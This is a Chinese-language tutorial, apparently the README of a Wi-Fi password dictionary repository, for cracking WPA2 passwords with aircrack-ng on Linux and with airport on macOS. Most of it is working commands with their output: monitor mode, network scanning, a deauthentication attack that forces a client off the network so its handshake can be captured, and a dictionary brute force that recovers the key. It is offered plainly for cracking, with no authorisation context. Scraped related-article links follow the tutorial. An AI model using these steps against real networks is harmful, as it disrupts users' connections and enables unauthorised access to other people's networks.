wpa-dictionary

用于 Wi-Fi 密码破解。

Linux 篇(推荐)

1. 安装 aircrack-ng

  • 使用相应包管理工具安装,例如 Debian/Ubuntu 使用 apt 安装:
sudo apt install aircrack-ng

2. 查看可用的无线网卡

使用命令:airmon-ng

netcon@conwlt:~/workspace$ sudo airmon-ng

PHY	Interface	Driver		Chipset

phy0	wlp8s0		iwlwifi		Intel Corporation Centrino Wireless-N 2230 (rev c4)

根据以上输出,可用的无线网卡为 wlp8s0

3. 指定无线网卡开启监听模式。

使用命令:airmon-ng start <网卡名称>

netcon@conwlt:~/workspace$ sudo airmon-ng start wlp8s0

PHY	Interface	Driver		Chipset

phy0	wlp8s0		iwlwifi		Intel Corporation Centrino Wireless-N 2230 (rev c4)

		(mac80211 monitor mode vif enabled for [phy0]wlp8s0 on [phy0]wlp8s0mon)
(mac80211 station mode vif disabled for [phy0]wlp8s0)

根据以上输出,已经把 wlp8s0 这块无线网卡开启监听模式,开启后名字是 wlp8s0mon

开启监听模式后无线网卡无法继续连接 wifi,使用后需要关闭监听模式。

4. 扫描附近的无线网络

使用命令:airodump-ng <处于监听模式的网卡名称>

netcon@conwlt:~/workspace$ sudo airodump-ng wlp8s0mon

 CH  5 ][ Elapsed: 12 s ][ 2018-10-07 18:49              

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 22:47:DA:62:2A:F0  -50       51       12    0   6  54e. WPA2 CCMP   PSK  AndroidAP    

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                  

 22:47:DA:62:2A:F0  AC:BC:32:96:31:8D  -31    0 -24e     0       16

这一步会输出两个列表,两个列表不停在刷新。

第一个列表表示扫描到的无线网络 AP 信息,会用到以下几列信息:

  • BSSID: 无线 AP 的硬件地址
  • PWR: 信号强度,值是负数,绝对值越小表示信号越强
  • CH: 无线网络信道
  • ENC: 加密方式,我们要破解的是 WPA2
  • ESSID: 无线网络的名称

第二个列表表示某个无线网络中和用户设备的连接信息:

  • BSSID: 无线 AP 的硬件地址
  • STATION: 用户设备的硬件地址

扫描列表会不停刷新,确定最终目标后按 Ctrl-C 退出。

这里仅仅是演示,所以列表只保留了一条结果。

5. 使用参数过滤扫描列表,确定扫描目标

使用命令:airodump-ng -w <扫描结果保存的文件名> -c <无线网络信道> --bssid <目标无线 AP 的硬件地址> <处于监听模式的网卡名称>

netcon@conwlt:~/workspace$ sudo airodump-ng -w android -c 6 --bssid 22:47:DA:62:2A:F0 wlp8s0mon

 CH  5 ][ Elapsed: 12 s ][ 2018-10-07 18:49 ][ WPA handshake: 22:47:DA:62:2A:F0

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 22:47:DA:62:2A:F0  -33 100     1597      387   11   6  54e. WPA2 CCMP   PSK  AndroidAP

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                  

 22:47:DA:62:2A:F0  AC:BC:32:96:31:8D  -32    1e-24e  1691     2657

刚扫描时看到输出的扫描状态是这样的:CH 5 ][ Elapsed: 12 s ][ 2018-10-07 18:49

只有当扫描状态后面出现 ][ WPA handshake: 22:47:DA:62:2A:F0 后,我们才拿到拿到进行破解的握手包。

扫描过程中如果有用户设备尝试连接 Wi-Fi 时,我们就会拿到握手包。

所以我们可以同时使用 aireplay-ng 对目标设备进行攻击,使其掉线重新连接,这样我们就拿到了握手包。

拿到握手包后按 Ctrl-C 结束扫描即可。

6. 使用 aireplay-ng 对目标设备发起攻击

使用命令:aireplay-ng -<攻击模式> <攻击次数> -a 无线 AP 硬件地址> -c <用户设备硬件地址> <处于监听模式的网卡名称>

netcon@conwlt:~$ sudo aireplay-ng -0 0 -a 22:47:DA:62:2A:F0 -c AC:BC:32:96:31:8D wlp8s0mon
18:57:31 Waiting for beacon frame (BSSID: 22:47:DA:62:2A:F0) on channel 6
18:57:32 Sending 64 directed DeAuth. STMAC: [AC:BC:32:96:31:8D] [41|64 ACKs]
18:57:33 Sending 64 directed DeAuth. STMAC: [AC:BC:32:96:31:8D] [19|121 ACKs]
18:57:33 Sending 64 directed DeAuth. STMAC: [AC:BC:32:96:31:8D] [11|80 ACKs]
...

发起攻击后,当 airodump-ng 成功拿到了握手包,使用 Ctrl-C 退出攻击。

7. 使用 aircrack-ng 暴力破解 Wi-Fi 密码

使用命令:aircrack-ng -w 密码字典 <包含握手包的 cap 文件>

netcon@conwlt:~/workspace$ aircrack-ng -w wpa-dictionary/common.txt android-01.cap
Opening android-01.cap
Read 675 packets. # BSSID ESSID Encryption 1 22:47:DA:62:2A:F0 AndroidAP WPA (1 handshake) Choosing first network as target. Opening android-01.cap
Reading packets, please wait... Aircrack-ng 1.2 rc4 [00:00:00] 12/2492 keys tested (828.33 k/s) Time left: 2 seconds 0.48% KEY FOUND! [ 1234567890 ] Master Key : A8 70 17 C2 C4 94 12 99 98 4B BB BE 41 23 5C 0D
4A 3D 62 55 85 64 B2 10 11 79 6C 41 1A A2 3B D3 Transient Key : 58 9D 0D 25 26 81 A9 8E A8 24 AB 1F 40 1A D9 ED
EE 10 17 75 F9 F1 01 EE E3 22 A5 09 54 A8 1D E7
28 76 8A 6C 9E FC D3 59 22 B7 82 4E C8 19 62 D9
F3 12 A0 1D E9 A4 7C 4B 85 AF 26 C5 BA 22 42 9A EAPOL HMAC : 22 C1 BD A7 BB F4 12 A5 92 F6 30 5C F5 D4 EE BE

根据以上输出,我们已经破解成功!Wi-Fi 密码是:1234567890

8. 无线网卡退出监听模式

使用命令:airmon-ng stop <处于监听模式的无限网卡名称>

netcon@conwlt:~/workspace$ sudo airmon-ng stop wlp8s0mon

PHY	Interface	Driver		Chipset

phy0	wlp8s0mon	iwlwifi		Intel Corporation Centrino Wireless-N 2230 (rev c4)

		(mac80211 station mode vif enabled on [phy0]wlp8s0)

		(mac80211 monitor mode vif disabled for [phy0]wlp8s0mon)

MAC OS 篇

1. 查看网卡名称

在终端中执行 ifconfig 即可查看,通常是 en0

2. 使用 airport 监听无线网络

由于某些原因,airmon-ng 无法在 MAC OS 使用,所以只能使用 airport 进行扫描和抓包了,但是并不好用,所以还是使用 linux 吧尽量...

开始扫描,终端中执行:

/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 scan

扫描结果会是这样的:

SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
小米手机 22:47:da:62:2a:f0 -29 6 Y -- WPA2(PSK/AES/AES)
  • SSID 表示 Wi-Fi 名称
  • BSSID 表示 Wi-Fi 设备的硬件地址
  • RSSI 表示信号强度,值是负数,绝对值越小信号越强
  • CHANNEL 表示 Wi-Fi 信道
  • HT 表示吞吐量模式,一般都为 Y
  • CC 表示国家,中国为 CN
  • SECURITY 表示加密方式

3. 使用 airport 进行抓包

sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 sniff

抓一段儿事件之后,使用 Ctrl + C 停止抓包,完成后会生成一个 cap 包,看到如下提示:

Session saved to /tmp/airportSniff0RjCAO.cap.

4. 安装 aircrack-ng

brew install aircrack-ng

5. 使用 aircrack-ng 执行破解

aircrack-ng -w common.txt /tmp/airportSniff0RjCAO.cap

Windows

更多安装方式参考:安装 Aircrack-ng

kali Linux及mac os 破解WiFi的更多相关文章

  1. 常用Linux/Unix/Mac Os命令

    常用Linux/Unix/Mac OS命令 参考: 1.50 Most Frequently Used UNIX / Linux Commands (With Examples)

  2. Install Terraform on Windows, Linux and Mac OS

    Step-by-step tutorial of how to download and install Terraform on Windows, Linux and Mac OS. Terrafo ...

  3. 桂电在linux、Mac OS环境下使用出校器(支持2.14)

    这是guetsec学长在三院科协学长所抓包逆向分析1.81版出校器的基础上,用python写的一款为Mac和linux环境开发的出校器. 最后我做了略微修改,支持暂时最新版本2.14.下面有直接从源码 ...

  4. [C] zintrin.h : 智能引入intrinsic函数。支持VC、GCC,兼容Windows、Linux、Mac OS X

    博客来源:http://blog.csdn.net/zyl910/article/details/8100744 现在很多编译器支持intrinsic函数,这给编写SSE等SIMD代码带来了方便.但是 ...

  5. Sqlite在Windows、Linux 和 Mac OS X 上的安装过程

    一:在 Windows 上安装 SQLite 1,下载 请访问SQLite下载页面http://www.sqlite.org/download.html,从Windows 区下载预编译的二进制文件.需 ...

  6. [Sqlite] --&gt; Sqlite于Windows、Linux 和 Mac OS X 在安装过程

    一个:于 Windows 安装 SQLite  1,下载 请訪问SQLite下载页面http://www.sqlite.org/download.html.从Windows 区下载预编译的二进制文件. ...

  7. Java 反编译工具 —— JAD 的下载地址(Windows版/Linux版/Mac OS 版)

    Java 反编译工具 —— JAD 的下载地址. 各种版本哦! Windows版,Linux版,Mac OS 版,等等 下载地址: http://varaneckas.com/jad/

  8. Linux/Unix/Mac OS下的远程访问和文件共享方式

    scp -P 20022 src.tar.gz zhouhh@192.168.12.13:/home/zhouhhscp -P 20022 zhouhh@192.168.12.13:/home/zho ...

  9. Linux最终将会领先于Windows、Mac OS!

    Linux最终将会领先于Windows.Mac OS! 众所周知,硬件离开了软件就像人失去灵魂,而操作系统作为软件中的基础部分,更是重中之重!无论手机.电脑.还是服务器一旦离开了操作系统,比之一堆废铁 ...

  10. 【转】mac os、linux及unix之间的关系

    mac os.linux及unix之间的关系   unix 是由贝尔实验室开发的多用户.多任务操作系统 linux是一类Unix操作系统的统称,严格来说,linux系统只有内核叫“linux”,而li ...

随机推荐

  1. 【JSON】JavaScript Object Notation JS对象表示规则

    什么是 JSON? JSON (JavaScript Object Notation) 是一种轻量级的数据交换格式. 易于人阅读和编写.同时也易于机器解析和生成. JSON采用完全独立于语言的文本格式 ...

  2. 【Vue】Re14 Router 第一部分(入门案例)

    一.箭头函数(Lambda匿名函数) <!DOCTYPE html> <html lang="en"> <head> <meta char ...

  3. WPF【无限滚动图片浏览】自定义控件

    自定义控件 自定义控件是我比较陌生的一个主题.我好久没练习过wpf了,需要巩固记忆.我想了一会儿,打开动漫之家,忽然觉得这个看漫画的图片浏览控件有意思.于是特地花了一天做了这个图片控件.我原本以为很容 ...

  4. 【转载】科研写作入门 —— 聊聊Science Research Writing for non-native Speakers of English这本书

    原地址: https://zhuanlan.zhihu.com/p/623882027 平行侠: 今天我们聊一聊Science Research Writing for non-native Spea ...

  5. 【转载】 gym atari游戏的环境设置问题:Breakout-v0, Breakout-v4, BreakoutNoFrameskip-v4和BreakoutDeterministic-v4的区别

    版权声明:本文为CSDN博主「ok_kakaka」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明.原文链接:https://blog.csdn.net/clksjx/ ...

  6. 小样本学习(Few shot learning)标准数据集(miniImageNet、tieredImageNet、Fewshot-CIFAR100)下载地址

    以下数据集均不可商用: https://mtl.yyliu.net/download/ Please note that the splits for miniImageNet follow Ravi ...

  7. CF208E 题解

    Blood Cousins 前置知识:线段树合并. 我们先把题目转化一下.这里先设 \(v\) 的 \(p\) 级祖先为 \(u\),事实上要求的东西就是 \(u\) 的 \(p\) 级后代的个数减 ...

  8. 【CMake系列】10-cmake测试集成googletest与第三方库自动化构建

    cmake测试,使用ctest 可能不能满足我们的需求,需要我们使用更为强大的第三方测试框架,如googletest,完成项目中的测试工作 本篇文章将第三方测试框架 googletest,引入,同时也 ...

  9. Redis相关总结

    一.缓存雪崩.缓存穿透 现象:缓存雪崩:大量缓存同时过期.缓存中间件宕机 缓存穿透:访问不存在key.缓存过期解决:缓存雪崩:设置不同过期时间 缓存穿透:不存在key也存入缓存.使用布隆过滤器.使用分 ...

  10. C++11新特性(二):语言特性

    C++11新特性 nullptr空指针 nullptr空指针的使用可以规避掉以往设置为NULL的风险.NULL在编译器中常常被设置为0或者其它数字,此时判断指针是否为NULL,即判断指针类型是否能够等 ...